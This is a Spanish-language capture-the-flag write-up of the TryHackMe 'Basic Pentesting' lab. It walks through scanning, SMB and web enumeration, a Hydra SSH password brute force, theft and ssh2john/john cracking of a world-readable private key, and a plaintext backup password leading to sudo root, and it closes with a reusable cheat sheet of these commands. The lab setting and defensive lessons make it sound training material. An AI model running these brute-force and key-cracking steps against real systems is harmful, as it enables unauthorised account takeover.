📝 Basic Pentesting — TryHackMe Write-up

Basic Pentesting es una sala muy “vanilla” en el buen sentido: no hay un CVE famoso ni un exploit espectacular, lo que toca es la metodología clásica — enumerar servicios, encontrar info disclosure, identificar usuarios, atacar credenciales débiles, pivotar entre cuentas, escalar a root. Lo que la hace recomendable no es la dificultad técnica sino que te entrena el músculo de leer pistas pequeñas y combinarlas: un blog interno con dos iniciales, un archivo de SMB con nombres reales, un comentario sarcástico sobre una contraseña débil. En un pentest real eso es lo que hay el 90% del tiempo, no exploits 0-day.

La parte que más me ha gustado y que más conviene aprender de esta sala es el truco de ssh2john para crackear claves SSH privadas cifradas con passphrase. Es una técnica que muchos juniors no conocen y que aparece en empresas reales constantemente, porque la gente usa passphrases débiles para “no olvidarlas”.

TL;DR: /development/ filtra dos usuarios (Kay y Jan) y la pista de que Jan tiene una contraseña débil → Hydra contra SSH para Jan → armando → como Jan, el id_rsa de Kay tiene permisos 644 (legible por todos) pero está cifrado → ssh2john + rockyou.txt → passphrase beeswax → SSH como Kay → pass.bak con la contraseña en claro → sudo su → root.

Información de la máquina

Campo	Valor
Plataforma	TryHackMe
Dificultad	Easy
OS	Linux (Ubuntu)
IP	10.130.185.173
Fecha	2026-04-10

Técnicas utilizadas

• Enumeración de puertos con nmap
• Enumeración de shares SMB con smbclient
• Directory busting con ffuf
• Brute force SSH con hydra
• Crackeo de clave SSH privada cifrada con ssh2john + john
• Lectura de archivo de backup con credenciales en claro
• Escalada vertical con sudo legítimo tras pivotar al usuario correcto

Enumeración

Nmap

nmap -sC -sV -p- 10.130.185.173 -T4 -oA nmap_BasicPentesting

Puertos encontrados:

Puerto	Servicio	Versión
22/tcp	SSH	OpenSSH 8.2p1
80/tcp	HTTP	Apache 2.4.41
139/tcp	SMB	Samba 4.15.13
445/tcp	SMB	Samba 4.15.13
8009/tcp	AJP	Apache JServ 1.3
8080/tcp	HTTP	Apache Tomcat 9.0.7

Lo interesante: SSH (vector de brute force), SMB (típico hallazgo de shares y nombres), web en dos puertos (probable info disclosure) y Tomcat (que en otras salas suele ser la entrada por defaults, pero aquí no).

Enumeración web — puerto 80

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -u http://10.130.185.173/FUZZ -mc 200,301,302 -c -v

Directorio encontrado: /development/

Contenido — información crítica:

2018-04-23: Struts 2.5.12 instalado (CVE-2017-5638)
2018-04-22: SMB configurado. -K
2018-04-21: Apache configurado. -J

Nota de K a J: he crackeado tu hash de /etc/shadow fácilmente.
Cambia tu contraseña, no sigue la política.

Información extraída:

• Dos usuarios: Kay (K) y Jan (J)
• Jan tiene contraseña débil confirmada por su propio compañero
• Hostname de la máquina: BASIC2

Esto es information disclosure clásico: notas internas de desarrollo expuestas en una ruta web sin autenticación. En empresas reales pasa todo el rato — /dev/, /test/, /staging/, /admin/, /backup/. La primera regla del directory busting no es “espero encontrar admin”; es “qué hay aquí que no debería estar”.

Enumeración SMB

smbclient -L //10.130.185.173 -N --configfile=/etc/samba/smb.conf

Shares encontrados:

• Anonymous — accesible sin contraseña
• IPC$ — por defecto

smbclient //10.130.185.173/Anonymous -N --configfile=/etc/samba/smb.conf
smbget smb://10.130.185.173/Anonymous/staff.txt -a

Contenido de staff.txt:

Announcement to staff:
PLEASE do not upload non-work-related items to this share.
(This means you too, Jan!)
-Kay

Confirmación de los nombres reales: Kay y Jan. Ya tenemos usuarios sólidos para atacar.

Explotación — Brute force SSH a Jan

Jan tiene contraseña débil (lo dice su propio compañero). Ataque de diccionario contra SSH con Hydra:

hydra -l jan -P /usr/share/seclists/Passwords/Common-Credentials/best1050.txt \
  ssh://10.130.185.173 -t 4

Credenciales encontradas:

usuario: jan
contraseña: armando

Empieza siempre por wordlists pequeñas (best1050, top-100) antes de tirar de rockyou.txt directo. Si la contraseña es débil de verdad, la sacas en 10 segundos en vez de 10 minutos. Y con hydra -t 4 máximo, porque SSH suele tener rate limiting que te banea si vas más rápido.

ssh jan@10.130.185.173

Acceso conseguido como jan.

Post-explotación como Jan

# Jan no tiene sudo
sudo -l
# Sorry, user jan may not run sudo on ip-10-130-185-173

# No hay SUID interesantes
find / -perm -u=s -type f 2>/dev/null
# Solo binarios estándar del sistema

No hay privesc directa. Hay que pivotar lateralmente al otro usuario (Kay).

Pivote a Kay — robo de clave SSH

# El home de kay es accesible
ls -la /home/kay/

# Archivo interesante: pass.bak (sin permisos de lectura para jan)
# Pero .ssh tiene permisos abiertos
ls -la /home/kay/.ssh/

# id_rsa con permisos -rw-r--r-- (legible por TODOS los usuarios)
cat /home/kay/.ssh/id_rsa

La clave está cifrada con passphrase (cabecera Proc-Type: 4,ENCRYPTED).

Los permisos correctos para una clave privada SSH son 600 (solo el dueño puede leerla). Kay dejó los suyos en 644 (cualquier usuario local puede leer el archivo). Es un error pequeño en apariencia pero es el equivalente de dejar las llaves de casa pegadas con celo en la puerta. Pasa en producción más veces de lo que cualquiera querría admitir.

Crackeo de passphrase — ssh2john + john

# Guardar la clave en local
nano ~/Escritorio/THM/BasicPentesting/kay_id_rsa
chmod 600 ~/Escritorio/THM/BasicPentesting/kay_id_rsa

# Convertir al formato que john entiende
ssh2john kay_id_rsa > kay_hash.txt

# Crackear con rockyou
john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt kay_hash.txt

Passphrase encontrada: beeswax

Por qué ssh2john es la pieza clave

ssh2john es un script que viene con John the Ripper. Lo que hace es convertir una clave SSH privada cifrada en un “hash” en formato que john puede atacar. La criptografía detrás es: la passphrase se usa con un KDF (PBKDF o similar) para derivar una clave AES que cifra el material privado real. Si la passphrase es débil, john prueba contraseñas del diccionario, las pasa por el KDF, intenta descifrar el blob, y cuando el resultado tiene la estructura esperada de una clave SSH → bingo.

Funciona porque mucha gente usa passphrases pésimas: nombres de mascota, palabras del diccionario, fechas. Si crackeas la passphrase, tienes la clave usable como si te la hubieran dado en bandeja.

Acceso como Kay y escalada a root

ssh -i kay_id_rsa kay@10.130.185.173
# Passphrase: beeswax

cat /home/kay/pass.bak

Contraseña de Kay en claro: heresareallystrongpasswordthatfollowsthepasswordpolicy$$<

Kay tiene el archivo .sudo_as_admin_successful en su home, lo que indica que es sudoer. Con su contraseña, escalar a root es directo:

sudo su
# Contraseña: heresareallystrongpasswordthatfollowsthepasswordpolicy$$

La ironía es que Kay le da la lata a Jan por tener una contraseña débil, mientras él mismo guarda la suya en un archivo pass.bak en su home y con una clave SSH con permisos rotos. Esta caja tiene una moraleja muy “real” sobre seguridad: rara vez es la criptografía la que falla, casi siempre es el factor humano.

Flags

Flag	Ubicación
user.txt	/home/kay/user.txt
root.txt	/root/root.txt

Resumen del flujo

Web /development/
    └─> blog revela usuarios Kay y Jan
    └─> Kay confirma que crackeó el hash débil de Jan

SMB Anonymous
    └─> staff.txt confirma los nombres reales

Hydra brute force SSH a jan
    └─> contraseña: armando

Dentro como jan
    ├─> sin sudo, sin SUID interesante
    └─> /home/kay/.ssh/id_rsa legible por todos pero cifrada

ssh2john + john
    └─> passphrase: beeswax

SSH como kay con id_rsa
    ├─> pass.bak con contraseña en claro
    └─> kay es sudoer → sudo su → root

Lecciones aprendidas

• Los blogs y archivos en rutas de desarrollo (/development/, /dev/, /staging/) revelan información crítica: usuarios, versiones, configuraciones, planes internos
• SMB anonymous suele confirmar nombres de usuario reales y dar contexto adicional
• Hydra con wordlists pequeñas primero (best1050, top-100); rockyou.txt si no encuentra nada
• SSH ralentiza brute force con rate limiting; usar -t 4 máximo en hydra para evitar bloqueo
• Las claves SSH privadas cifradas se crackean con ssh2john + john, asumiendo passphrase débil
• Permisos 644 en id_rsa permiten robo de clave por cualquier usuario local. Lo correcto es siempre 600
• Un archivo tipo pass.bak, creds.txt, passwords.old o similar en el home de un usuario es siempre sospechoso y siempre vale la pena leerlo
• .sudo_as_admin_successful en el home indica que el usuario es o fue sudoer (se crea automáticamente la primera vez que ejecuta sudo con éxito)

Comandos clave para recordar

# Directory busting
ffuf -w wordlist.txt -u http://IP/FUZZ -mc 200,301,302 -c -v

# Brute force SSH (empezar con wordlist pequeña)
hydra -l usuario -P wordlist.txt ssh://IP -t 4

# Crackear passphrase de clave SSH cifrada
ssh2john id_rsa > hash.txt
john --wordlist=rockyou.txt hash.txt

# SSH con clave privada cifrada
chmod 600 id_rsa
ssh -i id_rsa usuario@IP

Reflexión

Esta sala me ha confirmado algo que ya sospechaba viniendo de IT corporativo: las brechas de seguridad reales casi nunca son un fallo técnico aislado, sino una cadena de descuidos humanos pequeños que se acumulan. Un comentario indiscreto en un blog interno, una contraseña débil que “nadie va a probar”, una clave SSH con permisos mal puestos “porque me daba problemas”, un backup en el home “por si acaso”. Cada cosa por separado parece menor. Encadenadas, son una hoja de ruta a root.

En el mundo M365/Power Platform que vengo trabajando es exactamente igual: el incidente raramente es un 0-day, es un usuario con permisos excesivos + un share mal configurado + una contraseña reutilizada + un script con credenciales hardcodeadas. La caja te enseña a leer esos detalles como pistas en lugar de ignorarlos.

Referencias

• HackTricks — Pentesting SSH
• HackTricks — Pentesting SMB
• John the Ripper — ssh2john docs
• GTFOBins
• TryHackMe — Basic Pentesting